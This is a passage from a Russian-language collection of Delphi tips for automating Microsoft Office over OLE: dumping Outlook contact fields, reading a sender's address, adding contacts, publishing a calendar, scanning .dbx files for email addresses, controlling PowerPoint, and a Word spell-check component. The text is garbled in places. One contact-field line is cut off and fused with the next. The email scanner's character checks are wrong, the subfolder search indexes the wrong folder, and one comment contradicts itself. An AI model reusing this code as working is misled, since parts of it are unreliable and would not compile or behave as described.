     s := s + 'MailingAddressCountry: ' + MyItem.MailingAddressCountry + #13;
     s := s + 'MailingAddressPostalCode: ' + MyItem.MailingAddressPostalCode + #13;
      s := s + 'MailingAddressPostOfficeBox: ' + MyItem.MailingAddressPostOfficeBox + #13;
      s := s + 'MailingAddressState: ' + MyItem.MailingAddressState + #13;
      s := s + 'MailingAddressStreet: ' + MyItem.MailingAddressStreet + #13;
    s := s + 'ManagerName: ' + MyItem.ManagerName + #13;
      s := s + 'MiddleName: ' + MyItem.MiddleName + #13;
     s := s + 'MobileTelephoneNumber: ' + MyItem.MobileTelephoneNumber + #13;
     s := s + 'NickName: ' + MyItem.NickName + #13;
     s := s + 'OfficeLocation: ' + MyItem.OfficeLocation + #13;
      s := s + 'OrganizationalIDNumber: ' + MyItem.OrganizationalIDNumber + #13;
     s := s + 'OtherAddress: ' + MyItem.OtherAddress + #13;
     s := s + 'OtherAddressCity: ' + MyItem.OtherAddressCity + #13;
    s := s + 'OtherAddressCountry: ' + MyItem.OtherAddressCountry + #13;
      s := s + 'OtherAddressPostalCode: ' + MyItem.OtherAddressPostalCode + #13;
      s := s + 'OtherAddressPostOfficeBox: ' + MyItem.OtherAddressPostOfficeBox + #13;
     s := s + 'OtherAddressState: ' + MyItem.OtherAddressState + #13;
      s := s + 'OtherAddressStreet: ' + MyItem.OtherAddressStreet + #13;
     s := s + 'OtherFaxNumber: ' + MyItem.OtherFaxNumber + #13;
     s := s + 'OtherTelephoneNumber: ' + MyItem.OtherTelephoneNumber + #13;
      s := s + 'PagerNumber: ' + MyItem.PagerNumber + #13;
      s := s + 'PersonalHomePage: ' + MyItem.PersonalHomePage + #13;
     s := s + 'PrimaryTelephoneNumber: ' + MyItem.PrimaryTelephoneNumber + #13;
      s := s + 'Profession: ' + MyItem.Profession + #13;
      s := s + 'RadioTelephoneNumber: ' + MyItem.RadioTelephoneNumber + #13;
      s := s + 'ReferredBy: ' + MyItem.ReferredBy + #13;
      s := s + 'SelectedMailingAddress: ' + In      s := s + 'Spouse: ' + MyItem.Spouse + #13;      s := s + 'Suffix: ' + MyItem.Suffix + #13;
     s := s + 'TelexNumber: ' + MyItem.TelexNumber + #13;      s := s + 'Title: ' + MyItem.Title + #13;
     s := s + 'TTYTDDTelephoneNumber: ' + MyItem.TTYTDDTelephoneNumber + #13;
     s := s + 'User1: ' + MyItem.User1 + #13;      s := s + 'User2: ' + MyItem.User2 + #13;
     s := s + 'User3: ' + MyItem.User3 + #13;      s := s + 'User4: ' + MyItem.User4 + #13;
     s := s + 'UserCertificate: ' + MyItem.UserCertificate + #13;
      s := s + 'WebPage: ' + MyItem.WebPage + #13;
  end;
   Memo1.Lines.Text := s;  except    on
E: Exception do MessageDlg(E.Message + #13 + s, mtError, [mbOk], 0)
  end;  MSOutlook.Quit;
end;

Взято с сайта http://blackman.wp-club.net/


Как прочитать адрес отправителя?

{
  If you tried to work with messages from Delphi, you know that received message have the
  SenderName property (name of sender) but doesn't allow to read the real address of sender.
  Something like SenderAddress is not available.

  There exist a few methods to retrieve this information:

  1. help file says that sender is in Recipients collection
  with Type property - 0 (olOriginator).
  But this way does work for any version of MS Outlook.
  So just iterate thru collection of Recipients and find an item with Type=0
  couldn't return required value

  2. as alternative you can read a ReplyTo property - there you'll receive an address
  (but generally ReplyTo and Sender could be different).
  For example, in messages which I send from own mail account these values are different.

  3. to create a new MailItem (just will be destroyed without saving in end of work),
  define a Recipient as value which you received from SenderName of your original
  message and call a Resolve method - after that you'll recieve a correct email address of this sender.

  4. more correct and fast solution is the next:
}

var
 s: string;
 objCDO: OLEVariant;
begin
  objCDO := CreateOLEObject('MAPI.Session');
  objCDO.Logon('', '', False, False);
  objMsg := objCDO.GetMessage(itemOL.EntryID, itemOL.Parent.StoreID);

  s := objMsg.Sender.Address;
  ShowMessage(s);
  objMsg := Unassigned;
  objCDO := Unassigned;
end

{ where itemOL is a MailItem which contain a SenderName but doesn't contain a SenderAddress }


Создать новый Outlook Contact?

uses
  ComObj, Variants, SysUtils;

type
  TContact = record
    LastName: string;
    FirstName : string;
    Company : string;
    // ###  Further properties. See MSDN
  end;

  //------------------------------------------------------------------------------
{:Add outlook contact

@param ContactFolderPath The contact path. E.g.: '' for default contact folder,
  'SubFolder\Sub2\Test' for subfolders
@param Contact The contact informations.
@author 19.09.2003 Michael Klemm}
  //------------------------------------------------------------------------------
procedure OutlookAddContact(ContactFolderPath : string; Contact : TContact);
const
  olFolderContacts = $0000000A;
var
  Outlook : OleVariant;
  NameSpace : OleVariant;
  ContactsRoot : OleVariant;
  ContactsFolder : OleVariant;
  OutlookContact : OleVariant;
  SubFolderName : string;
  Position : integer;
  Found : boolean;
  Counter : integer;
  TestContactFolder : OleVariant;
begin
  // Connect to outlook
  Outlook := CreateOleObject('Outlook.Application');
  // Get name space
  NameSpace := Outlook.GetNameSpace('MAPI');
  // Get root contacts folder
  ContactsRoot := NameSpace.GetDefaultFolder(olFolderContacts);
  // Iterate to subfolder
  ContactsFolder := ContactsRoot;
  while ContactFolderPath <> '' do
  begin
    // Extract next subfolder
    Position := Pos('\', ContactFolderPath);
    if Position > 0 then
    begin
      SubFolderName := Copy(ContactFolderPath, 1, Position - 1);
      ContactFolderPath := Copy(ContactFolderPath, Position + 1, Length(ContactFolderPath));
    end
    else
    begin
      SubFolderName := ContactFolderPath;
      ContactFolderPath := '';
    end;
    if SubFolderName = '' then
      Break;
    // Search subfolder
    Found := False;
    for Counter := 1 to ContactsFolder.Folders.Count do
    begin
      TestContactFolder := ContactsRoot.Folders.Item(Counter);
      if LowerCase(TestContactFolder.Name) = LowerCase(SubFolderName) then
      begin
        ContactsFolder := TestContactFolder;
        Found := True;
        Break;
      end;
    end;
    // If not found create
    if not Found then
      ContactsFolder := ContactsFolder.Folders.Add(SubFolderName);
  end;
  // Create contact item
  OutlookContact := ContactsFolder.Items.Add;
  // Fill contact information
  OutlookContact.FirstName := Contact.FirstName;
  OutlookContact.LastName := Contact.LastName;
  OutlookContact.CompanyName := Contact.Company;

  // ### Further properties

  // Save contact
  OutlookContact.Save;
  // Disconnect from outlook
  Outlook := Unassigned;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как сохранить Outlook календарь как website?

{ In Outlook lasst sich ein Kalender als WebSeite speichern. Dazu benotig man
den "Web Publishing Wizard" download im Microsoft Download Center. }

{ In Outlook you can save the calendar as website. For this you need the
"Web Publishing Wizard" available at Microsoft Download Center. }

{ Original VB Script: By Sue Mosher, sue @slipstick.com, with input from Ken Slovak and others
for more Outlook samples, see http://www.slipstick.com/dev/code/index.htm }

{ .... }

uses ComObj;

{ .... }

procedure TForm1.Button1Click(Sender: TObject);
var
  Outlook, NameSpace, TopFolder, CalendarFolder, WebPub: OleVariant;
  sTitle: string;
begin
  Outlook := CreateOleObject('Outlook.Application');
  WebPub  := CreateOleObject('WebPub.cWebPub');

  NameSpace := Outlook.GetNamespace('MAPI');
  TopFolder := NameSpace.Folders[1];
  CalendarFolder := TopFolder.Folders('Kalender');

  WebPub.Create('Kalender von AHA', '', False, '01.05.2003', '01.06.2003',
    True, True, 'C:\Temp');
  {
  WebPub.Create method parameters:
                    'sTitle         - Title displayed at the top of the page
                    'sGraphic       - Path to a graphic file to use for BACKGROUND
                    '                 attribute
                    'bUseGraphic    - True=Use 'sGraphic' param, False=Ignore
                    'dtStartDate    - Start of date range to publish
                    'dtEndDate      - End of date range to publish
                    'bDetails       - Publish appointment details
                    'bShowInBrowser - Display in default browser after publishing
                    'sSiteName      - Local path to store published calendar
  }

  WebPub  := Unassigned;
  Outlook := Unassigned;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Чтение email адресов из Outlook .dbx файлов

unit ExtractEmailsFunc;

interface

uses
  Windows, SysUtils;

procedure CheckEMail(FilePath: string);

implementation

var
  BufferSize: Integer;

function VerifyFile(strFileName: string): Integer;
var
  intErro: Integer;
  tsrFile: TSearchRec;
begin
  intErro := FindFirst(strFileName, FaAnyFile, tsrFile);
  if intErro = 0 then Result := tsrFile.Size
  else
    Result := -1;
  FindClose(tsrFile);
end;

procedure CheckEMail(FilePath: string);
var
  I: Integer;
  hFile: Integer;
  Buffer: PChar;
  StrEmail: string;
begin
  hFile := FileOpen(FilePath, fmOpenRead);
  try
    if hFile = 0 then Exit;
    GetMem(Buffer, bufferSize + 1);
    ZeroMemory(Buffer, BufferSize + 1);
    try
      FileRead(hFile, Buffer^, BufferSize);
      I := 0;
      while I <= BufferSize - 1 do
      begin
        StrEmail := '';
        if Buffer[I] = '<' then
        begin
          Inc(I);
          while (Buffer[I] <> '@') and (I <= BufferSize) do
          begin
            if (Buffer[I] = CHR(45)) or (Buffer[I] = CHR(46)) or
              (Buffer[I] = CHR(90)) or ((Buffer[I] > CHR(49)) and (Buffer[I] <= CHR(57)))
              or ((Buffer[I] >= CHR(65)) and (Buffer[I] <= CHR(90))) or
              ((Buffer[I] >= CHR(97)) and (Buffer[I] <= CHR(122))) then
            begin
              StrEmail := StrEmail + Buffer[I];
            end
            else
            begin
              StrEmail := '';
              Break;
            end;
            Inc(I);
          end;
          if StrEmail <> '' then
          begin
            StrEmail := StrEmail + '@';
            Inc(I);
            while (Buffer[I] <> '.') and (I <= BufferSize) do
            begin
              if (Buffer[I] = CHR(45)) or (Buffer[I] = CHR(46)) or
                (Buffer[I] = CHR(90)) or ((Buffer[I] >= CHR(49)) and (Buffer[I] <= CHR(57)))
                or ((Buffer[I] >= CHR(65)) and (Buffer[I] <= CHR(90))) or
                ((Buffer[I] >= CHR(97)) and (Buffer[I] <= CHR(122))) then
              begin
                StrEmail := StrEmail + Buffer[I];
              end
              else
              begin
                StrEmail := '';
                Break;
              end;
              Inc(I);
            end;
            if StrEmail <> '' then
            begin
              StrEmail := StrEmail + '.';
              Inc(i);
              while (Buffer[I] <> '>') and (I <= BufferSize) do
              begin
                if (Buffer[I] = CHR(45)) or (Buffer[I] = CHR(46)) or
                  (Buffer[I] = CHR(90)) or ((Buffer[I] >= CHR(49)) and (Buffer[I] <= CHR(57)))
                  or ((Buffer[I] >= CHR(65)) and (Buffer[I] <= CHR(90))) or
                  ((Buffer[I] >= CHR(97)) and (Buffer[I] <= CHR(122))) then
                begin
                  StrEmail := StrEmail + Buffer[I];
                end
                else
                begin
                  StrEmail := '';
                  Break;
                end;
                Inc(I);
              end;
              if StrEmail <> '' then
              begin
                WriteLn(StrEmail);
                Inc(I);
              end;
            end;
          end;
        end
        else
          Inc(I);
      end;
    finally
      FreeMem(Buffer);
    end;
  finally
    FileClose(hFile);
  end;
end;

begin
  BufferSize := VerifyFile(ParamStr(1));
  if BufferSize <= 0 then Exit;
  CheckEMail(ParamStr(1));
end.
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как работать с Powerpoint через OLE?

uses
  comobj;

procedure TForm1.Button2Click(Sender: TObject);
var
  PowerPointApp: OLEVariant;
begin
  try
    PowerPointApp := CreateOleObject('PowerPoint.Application');
  except
    ShowMessage('Error...');
    Exit;
  end;
  // Make Powerpoint visible
  PowerPointApp.Visible := True;

  // Show powerpoint version
  ShowMessage(Format('Powerpoint version: %s',[PowerPointApp.Version]));

  // Open a presentation
  PowerPointApp.Presentations.Open('c:\MyPresentation.ppt', False, False, True);

  // Show number of slides
  ShowMessage(Format('%s slides.',[PowerPointApp.ActivePresentation.Slides.Count]));

  // Run the presentation
  PowerPointApp.ActivePresentation.SlideShowSettings.Run;

  // Go to next slide
  PowerPointApp.ActivePresentation.SlideShowWindow.View.Next;

  // Go to slide 2
  PowerPointApp.ActivePresentation.SlideShowWindow.View.GoToSlide(2);

  // Go to previous slide
  PowerPointApp.ActivePresentation.SlideShowWindow.View.Previous;

  // Go to last slide
  PowerPointApp.ActivePresentation.SlideShowWindow.View.Last;

  // Show current slide name
  ShowMessage(Format('Current slidename: %s',[PowerPointApp.ActivePresentation.SlideShowWindow.View.Slide.Name]));

  // Close Powerpoint
  PowerPointApp.Quit;
  PowerPointApp := UnAssigned;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Проверка правописания и синонимов при помощи компонентов MS Office

This is the VCL for Spell Checking and Synonyms using MS Word COM interface. It can correct and replace words in a Text String,TMemo or TRichEdit using a built in replacement editor, or can be controlled by user dialog. I see there are other callable functions in the interface, which I have not implemented. Anyone see a use for any of them ?.

They are ...

property PartOfSpeechList: OleVariant read Get_PartOfSpeechList;
property AntonymList: OleVariant read Get_AntonymList;
property RelatedExpressionList: OleVariant read Get_RelatedExpressionList;
property RelatedWordList: OleVariant read Get_RelatedWordList;

Example of checking and changing a Memo text ...

SpellCheck.CheckMemoTextSpelling(Memo1);

Properties
----------------
LetterChars - Characters considered to be letters. default is
['A'..'Z','a'..'z'] (English) but could be changed to
['A'..'Z','a'..'z','б','й','н','у','ъ'] (Spanish)

Color - Backgound color of Default dialog Editbox and Listbox

CompletedMessage - Enable/Disable display of completed and count message dialog

Font - Font of Default dialog Editbox and Listbox

Language - Language used by GetSynonyms() method

ReplaceDialog - Use Default replace dialog or User defined (see events)

Active - Readonly, set at create time. Indicates if MS Word is available

Methods
----------------
function GetSynonyms(StrWord : string; Synonyms : TStrings) : boolean;

True if synonyms found for StrWord. Synonyms List is
returned in TStrings (Synonyms).

function CheckWordSpelling(StrWord : string; Suggestions : TStrings) : boolean;

True if StrWord is spelt correctly. Suggested corrections
returned in TStrings (Suggestions)

procedure CheckTextSpelling(var StrText : string);

Proccesses string StrText and allows users to change
mispelt words via a Default replacement dialog or User
defined calls. Words are changed and returned in StrText.
Words in the text are changed automatically by the Default
editor. Use the events if you want to control the dialog
yourself. ie. Get the mispelt word, give a choice of
sugesstions (BeforeCorrection), Change the word to
corrected (OnCorrection) and possibly display "Was/Now"
(AfterCorrection)

procedure CheckRichTextSpelling(RichEdit : TRichEdit);

Corrects misspelt words directly in TRichEdit.Text.
Rich Format is maintained.

procedure CheckMemoTextSpelling(Memo : TMemo);

Corrects misspelt words directly into a TMemo.Text.

Events (Mainly used when ReplaceDialog = repUser)
--------------------------------------------------------------------------------
BeforeCorrection - Supplies the mispelt word along with a TStrings
var containing suggested corrections.

OnCorrection - Supplies the mispelt word as a VAR type allowing
user to change it to desired word. The word will be
replaced by this variable in the passed StrText.

AfterCorrection - Supplies the mispelt word and what it has been
changed to.

unit SpellChk;
interface

// =============================================================================
// MS Word COM Interface to Spell Check and Synonyms
// Mike Heydon Dec 2000
// mheydon@pgbison.co.za
// =============================================================================

uses Windows, SysUtils, Classes, ComObj, Dialogs, Forms, StdCtrls,
  Controls, Buttons, Graphics, ComCtrls, Variants;

// Above uses Variants is for Delphi 6 - remove for Delphi 5 and less

type
  // Event definitions
  TSpellCheckBeforeCorrection = procedure(Sender: TObject;
    MispeltWord: string;
    Suggestions: TStrings) of object;

  TSpellCheckAfterCorrection = procedure(Sender: TObject;
    MispeltWord: string;
    CorrectedWord: string) of object;

  TSpellCheckOnCorrection = procedure(Sender: TObject;
    var WordToCorrect: string) of object;

  // Property types
  TSpellCheckReplacement = (repDefault, repUser);
  TSpellCheckLetters = set of char;

  TSpellCheckLanguage = (wdLanguageNone, wdNoProofing, wdDanish, wdGerman,
    wdSwissGerman, wdEnglishAUS, wdEnglishUK, wdEnglishUS,
    wdEnglishCanadian, wdEnglishNewZealand,
    wdEnglishSouthAfrica, wdSpanish, wdFrench,
    wdFrenchCanadian, wdItalian, wdDutch, wdNorwegianBokmol,
    wdNorwegianNynorsk, wdBrazilianPortuguese,
    wdPortuguese, wdFinnish, wdSwedish, wdCatalan, wdGreek,
    wdTurkish, wdRussian, wdCzech, wdHungarian, wdPolish,
    wdSlovenian, wdBasque, wdMalaysian, wdJapanese, wdKorean,
    wdSimplifiedChinese, wdTraditionalChinese,
    wdSwissFrench, wdSesotho, wdTsonga, wdTswana, wdVenda,
    wdXhosa, wdZulu, wdAfrikaans, wdArabic, wdHebrew,
    wdSlovak, wdFarsi, wdRomanian, wdCroatian, wdUkrainian,
    wdByelorussian, wdEstonian, wdLatvian, wdMacedonian,
    wdSerbianLatin, wdSerbianCyrillic, wdIcelandic,
    wdBelgianFrench, wdBelgianDutch, wdBulgarian,
    wdMexicanSpanish, wdSpanishModernSort, wdSwissItalian);

  // Main TSpellcheck Class
  TSpellCheck = class(TComponent)
  private
    MsWordApp,
      MsSuggestions: OleVariant;
    FLetterChars: TSpellCheckLetters;
    FFont: TFont;
    FColor: TColor;
    FReplaceDialog: TSpellCheckReplacement;
    FCompletedMessage,
      FActive: boolean;
    FLanguage: TSpellCheckLanguage;
    FForm: TForm;
    FEbox: TEdit;
    FLbox: TListBox;
    FCancelBtn,
      FChangeBtn: TBitBtn;
    FBeforeCorrection: TSpellCheckBeforeCorrection;
    FAfterCorrection: TSpellCheckAfterCorrection;
    FOnCorrection: TSpellCheckOnCorrection;
    procedure SetFFont(NewValue: TFont);
  protected
    procedure MakeForm;
    procedure CloseForm;
    procedure SuggestedClick(Sender: TObject);
  public
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
    function GetSynonyms(StrWord: string; Synonyms: TStrings): boolean;
    function CheckWordSpelling(StrWord: string;
      Suggestions: TStrings): boolean;
    procedure CheckTextSpelling(var StrText: string);
    procedure CheckRichTextSpelling(RichEdit: TRichEdit);
    procedure CheckMemoTextSpelling(Memo: TMemo);
    procedure Anagrams(const InString: string; StringList: TStrings);
    property Active: boolean read FActive;
    property LetterChars: TSpellCheckletters read FLetterChars write FLetterChars;
  published
    property Language: TSpellCheckLanguage read FLanguage
      write FLanguage;
    property CompletedMessage: boolean read FCompletedMessage
      write FCompletedMessage;
    property Color: TColor read FColor write FColor;
    property Font: TFont read FFont write SetFFont;
    property BeforeCorrection: TSpellCheckBeforeCorrection
      read FBeforeCorrection
      write FBeforeCorrection;
    property AfterCorrection: TSpellCheckAfterCorrection
      read FAfterCorrection
      write FAfterCorrection;
    property OnCorrection: TSpellCheckOnCorrection
      read FOnCorrection
      write FOnCorrection;
    property ReplaceDialog: TSpellCheckReplacement
      read FReplaceDialog
      write FReplaceDialog;
  end;

procedure Register;

// -----------------------------------------------------------------------------
implementation

// Mapped Hex values for ord(FLanguage)
const

  LanguageArray: array[0..63] of integer =
  ($0, $400, $406, $407, $807, $C09, $809, $409,
    $1009, $1409, $1C09, $40A, $40C, $C0C, $410,
    $413, $414, $814, $416, $816, $40B, $41D, $403,
    $408, $41F, $419, $405, $40E, $415, $424, $42D,
    $43E, $411, $412, $804, $404, $100C, $430, $431,
    $432, $433, $434, $435, $436, $401, $40D, $41B,
    $429, $418, $41A, $422, $423, $425, $426, $42F,
    $81A, $C1A, $40F, $80C, $813, $402, $80A, $C0A, $810);

  // Change to Component Pallete of choice

procedure Register;
begin
  RegisterComponents('MahExtra', [TSpellCheck]);
end;

// TSpellCheck

constructor TSpellCheck.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  // Defaults
  FLetterChars := ['A'..'Z', 'a'..'z'];
  FCompletedMessage := true;
  FColor := clWindow;
  FFont := TFont.Create;
  FReplaceDialog := repDefault;
  FLanguage := wdEnglishUS;

  // Don't create an ole server at design time
  if not (csDesigning in ComponentState) then
  begin
    try
      MsWordApp := CreateOleObject('Word.Application');
      FActive := true;
      MsWordApp.Documents.Add;
    except
      on E: Exception do
      begin
        // MessageDlg('Cannot Connect to MS Word',mtError,[mbOk],0);
        // Activate above if visual failure required
        FActive := false;
      end;
    end;
  end;
end;

destructor TSpellCheck.Destroy;
begin
  FFont.Free;

  if FActive and not (csDesigning in ComponentState) then
  begin
    MsWordApp.Quit;
    MsWordApp := VarNull;
  end;

  inherited Destroy;
end;

// ======================================
// Property Get/Set methods
// ======================================

procedure TSpellCheck.SetFFont(NewValue: TFont);
begin
  FFont.Assign(NewValue);
end;

// ===========================================
// Return a list of synonyms for single word
// ===========================================

function TSpellCheck.GetSynonyms(StrWord: string;
  Synonyms: TStrings): boolean;
var
  SynInfo: OleVariant;
  i, j: integer;
  TS: OleVariant;
  Retvar: boolean;
begin
  Synonyms.Clear;

  if FActive then
  begin
    SynInfo := MsWordApp.SynonymInfo[StrWord,
      LanguageArray[ord(FLanguage)]];
    for i := 1 to SynInfo.MeaningCount do
    begin
      TS := SynInfo.SynonymList[i];
      for j := VarArrayLowBound(TS, 1) to VarArrayHighBound(TS, 1) do
        Synonyms.Add(TS[j]);
    end;

    RetVar := SynInfo.Found;
  end
  else
    RetVar := false;

  Result := RetVar;
end;

// =======================================
// Check the spelling of a single word
// Suggestions returned in TStrings
// =======================================

function TSpellCheck.CheckWordSpelling(StrWord: string;
  Suggestions: TStrings): boolean;
var
  Retvar: boolean;
  i: integer;
begin
  RetVar := false;
  if Suggestions <> nil then
    Suggestions.Clear;

  if FActive then
  begin
    if MsWordApp.CheckSpelling(StrWord) then
      RetVar := true
    else
    begin
      if Suggestions <> nil then
      begin
        MsSuggestions := MsWordApp.GetSpellingSuggestions(StrWord);
        for i := 1 to MsSuggestions.Count do
          Suggestions.Add(MsSuggestions.Item(i));
        MsSuggestions := VarNull;
      end;
    end;
  end;

  Result := RetVar;
end;

// ======================================================
// Check the spelling text of a string with option to
// Replace words. Correct string returned in var StrText
// ======================================================

procedure TSpellCheck.CheckTextSpelling(var StrText: string);
var
  StartPos, CurPos,
    WordsChanged: integer;
  ChkWord, UserWord: string;
  EoTxt: boolean;

  procedure GetNextWordStart;
  begin
    ChkWord := '';
    while (StartPos <= length(StrText)) and
      (not (StrText[StartPos] in FLetterChars)) do
      inc(StartPos);
    CurPos := StartPos;
  end;

begin
  if FActive and (length(StrText) > 0) then
  begin
    MakeForm;
    StartPos := 1;
    EoTxt := false;
    WordsChanged := 0;
    GetNextWordStart;

    while not EoTxt do
    begin
      // Is it a letter ?
      if StrText[CurPos] in FLetterChars then
      begin
        ChkWord := ChkWord + StrText[CurPos];
        inc(CurPos);
      end
      else
      begin
        // Word end found - check spelling
        if not CheckWordSpelling(ChkWord, FLbox.Items) then
        begin
          if Assigned(FBeforeCorrection) then
            FBeforeCorrection(self, ChkWord, FLbox.Items);

          // Default replacement dialog
          if FReplaceDialog = repDefault then
          begin
            FEbox.Text := ChkWord;
            FForm.ShowModal;

            if FForm.ModalResult = mrOk then
            begin
              // Change mispelt word
              Delete(StrText, StartPos, length(ChkWord));
              Insert(FEbox.Text, StrText, StartPos);
              CurPos := StartPos + length(FEbox.Text);

              if ChkWord <> FEbox.Text then
              begin
                inc(WordsChanged);
                if Assigned(FAfterCorrection) then
                  FAfterCorrection(self, ChkWord, FEbox.Text);
              end;
            end
          end
          else
          begin
            // User defined replacemnt routine
            UserWord := ChkWord;
            if Assigned(FOnCorrection) then
              FOnCorrection(self, UserWord);
            Delete(StrText, StartPos, length(ChkWord));
            Insert(UserWord, StrText, StartPos);
            CurPos := StartPos + length(UserWord);

            if ChkWord <> UserWord then
            begin
              inc(WordsChanged);
              if Assigned(FAfterCorrection) then
                FAfterCorrection(self, ChkWord, UserWord);
            end;
          end;
        end;

        StartPos := CurPos;
        GetNextWordStart;
        EoTxt := (StartPos > length(StrText));
      end;
    end;

    CloseForm;
    if FCompletedMessage then
      MessageDlg('Spell Check Complete' + #13#10 +
        IntToStr(WordsChanged) + ' words changed',
        mtInformation, [mbOk], 0);
  end
  else if not FActive then
    MessageDlg('Spell Check not Active', mtError, [mbOk], 0)
  else if FCompletedMessage then
    MessageDlg('Spell Check Complete' + #13#10 +
      '0 words changed', mtInformation, [mbOk], 0);
end;

// =============================================================
// Check the spelling of RichText with option to
// Replace words (in situ replacement direct to RichEdit.Text)
// =============================================================

procedure TSpellCheck.CheckRichTextSpelling(RichEdit: TRichEdit);
var
  StartPos, CurPos,
    WordsChanged: integer;
  StrText, ChkWord, UserWord: string;
  SaveHide,
    EoTxt: boolean;

  procedure GetNextWordStart;
  begin
    ChkWord := '';
    while (not (StrText[StartPos] in FLetterChars)) and
      (StartPos <= length(StrText)) do
      inc(StartPos);
    CurPos := StartPos;
  end;

begin
  SaveHide := RichEdit.HideSelection;
  RichEdit.HideSelection := false;
  StrText := RichEdit.Text;
  if FActive and (length(StrText) > 0) then
  begin
    MakeForm;
    StartPos := 1;
    EoTxt := false;
    WordsChanged := 0;
    GetNextWordStart;

    while not EoTxt do
    begin
      // Is it a letter ?
      if StrText[CurPos] in FLetterChars then
      begin
        ChkWord := ChkWord + StrText[CurPos];
        inc(CurPos);
      end
      else
      begin
        // Word end found - check spelling
        if not CheckWordSpelling(ChkWord, FLbox.Items) then
        begin
          if Assigned(FBeforeCorrection) then
            FBeforeCorrection(self, ChkWord, FLbox.Items);

          // Default replacement dialog
          if FReplaceDialog = repDefault then
          begin
            FEbox.Text := ChkWord;
            RichEdit.SelStart := StartPos - 1;
            RichEdit.SelLength := length(ChkWord);
            FForm.ShowModal;

            if FForm.ModalResult = mrOk then
            begin
              // Change mispelt word
              Delete(StrText, StartPos, length(ChkWord));
              Insert(FEbox.Text, StrText, StartPos);
              CurPos := StartPos + length(FEbox.Text);
              RichEdit.SelText := FEbox.Text;

              if ChkWord <> FEbox.Text then
              begin
                inc(WordsChanged);
                if Assigned(FAfterCorrection) then
                  FAfterCorrection(self, ChkWord, FEbox.Text);
              end;
            end
          end
          else
          begin
            // User defined replacemnt routine
            UserWord := ChkWord;
            RichEdit.SelStart := StartPos - 1;
            RichEdit.SelLength := length(ChkWord);
            if Assigned(FOnCorrection) then
              FOnCorrection(self, UserWord);
            Delete(StrText, StartPos, length(ChkWord));
            Insert(UserWord, StrText, StartPos);
            CurPos := StartPos + length(UserWord);
            RichEdit.SelText := UserWord;

            if ChkWord <> UserWord then
            begin
              inc(WordsChanged);
              if Assigned(FAfterCorrection) then
                FAfterCorrection(self, ChkWord, UserWord);
            end;
          end;
        end;

        StartPos := CurPos;
        GetNextWordStart;
        EoTxt := (StartPos > length(StrText));
      end;
    end;

    CloseForm;
    RichEdit.HideSelection := SaveHide;
    if FCompletedMessage then
      MessageDlg('Spell Check Complete' + #13#10 +
        IntToStr(WordsChanged) + ' words changed',
        mtInformation, [mbOk], 0);
  end
  else if not FActive then
    MessageDlg('Spell Check not Active', mtError, [mbOk], 0)
  else if FCompletedMessage then
    MessageDlg('Spell Check Complete' + #13#10 +
      '0 words changed', mtInformation, [mbOk], 0);
end;

// =============================================================
// Check the spelling of Memo with option to
// Replace words (in situ replacement direct to Memo.Text)
// =============================================================

procedure TSpellCheck.CheckMemoTextSpelling(Memo: TMemo);
var
  StartPos, CurPos,
    WordsChanged: integer;
  StrText, ChkWord, UserWord: string;
  SaveHide,
    EoTxt: boolean;

  procedure GetNextWordStart;
  begin
    ChkWord := '';
    while (not (StrText[StartPos] in FLetterChars)) and
      (StartPos <= length(StrText)) do
      inc(StartPos);
    CurPos := StartPos;
  end;

begin
  SaveHide := Memo.HideSelection;
  Memo.HideSelection := false;
  StrText := Memo.Text;
  if FActive and (length(StrText) > 0) then
  begin
    MakeForm;
    StartPos := 1;
    EoTxt := false;
    WordsChanged := 0;
    GetNextWordStart;

    while not EoTxt do
    begin
      // Is it a letter ?
      if StrText[CurPos] in FLetterChars then
      begin
        ChkWord := ChkWord + StrText[CurPos];
        inc(CurPos);
      end
      else
      begin
        // Word end found - check spelling
        if not CheckWordSpelling(ChkWord, FLbox.Items) then
        begin
          if Assigned(FBeforeCorrection) then
            FBeforeCorrection(self, ChkWord, FLbox.Items);

          // Default replacement dialog
          if FReplaceDialog = repDefault then
          begin
            FEbox.Text := ChkWord;
            Memo.SelStart := StartPos - 1;
            Memo.SelLength := length(ChkWord);
            FForm.ShowModal;

            if FForm.ModalResult = mrOk then
            begin
              // Change mispelt word
              Delete(StrText, StartPos, length(ChkWord));
              Insert(FEbox.Text, StrText, StartPos);
              CurPos := StartPos + length(FEbox.Text);
              Memo.SelText := FEbox.Text;

              if ChkWord <> FEbox.Text then
              begin
                inc(WordsChanged);
                if Assigned(FAfterCorrection) then
                  FAfterCorrection(self, ChkWord, FEbox.Text);
              end;
            end
          end
          else
          begin
            // User defined replacemnt routine
            UserWord := ChkWord;
            Memo.SelStart := StartPos - 1;
            Memo.SelLength := length(ChkWord);
            if Assigned(FOnCorrection) then
              FOnCorrection(self, UserWord);
            Delete(StrText, StartPos, length(ChkWord));
            Insert(UserWord, StrText, StartPos);
            CurPos := StartPos + length(UserWord);
            Memo.SelText := UserWord;

            if ChkWord <> UserWord then
            begin
              inc(WordsChanged);
              if Assigned(FAfterCorrection) then
                FAfterCorrection(self, ChkWord, UserWord);
            end;
          end;
        end;

        StartPos := CurPos;
        GetNextWordStart;
        EoTxt := (StartPos > length(StrText));
      end;
    end;

    Memo.HideSelection := SaveHide;
    CloseForm;
    if FCompletedMessage then
      MessageDlg('Spell Check Complete' + #13#10 +
        IntToStr(WordsChanged) + ' words changed',
        mtInformation, [mbOk], 0);
  end
  else if not FActive then
    MessageDlg('Spell Check not Active', mtError, [mbOk], 0)
  else if FCompletedMessage then
    MessageDlg('Spell Check Complete' + #13#10 +
      '0 words changed', mtInformation, [mbOk], 0);
end;

// ======================================================================
// Return a list of Anagrams - Careful, long words generate HUGE lists
// ======================================================================

procedure TSpellCheck.Anagrams(const InString: string; StringList: TStrings);
var
  WordsChecked, WordsFound: integer;

  procedure RecursePerm(const StrA, StrB: string; Len: integer; SL: TStrings);
  var
    i: integer;
    A, B: string;
  begin
    if (length(StrA) = Len) then
    begin
      inc(WordsChecked);
      if (SL.IndexOf(StrA) = -1) and MsWordApp.CheckSpelling(StrA) then
      begin
        inc(WordsFound);
        SL.Add(StrA);
        Application.ProcessMessages;
      end;
    end;

    for i := 1 to length(StrB) do
    begin
      A := StrB;
      B := StrA + A[i];
      delete(A, i, 1);
      RecursePerm(B, A, Len, SL);
    end;
  end;

begin
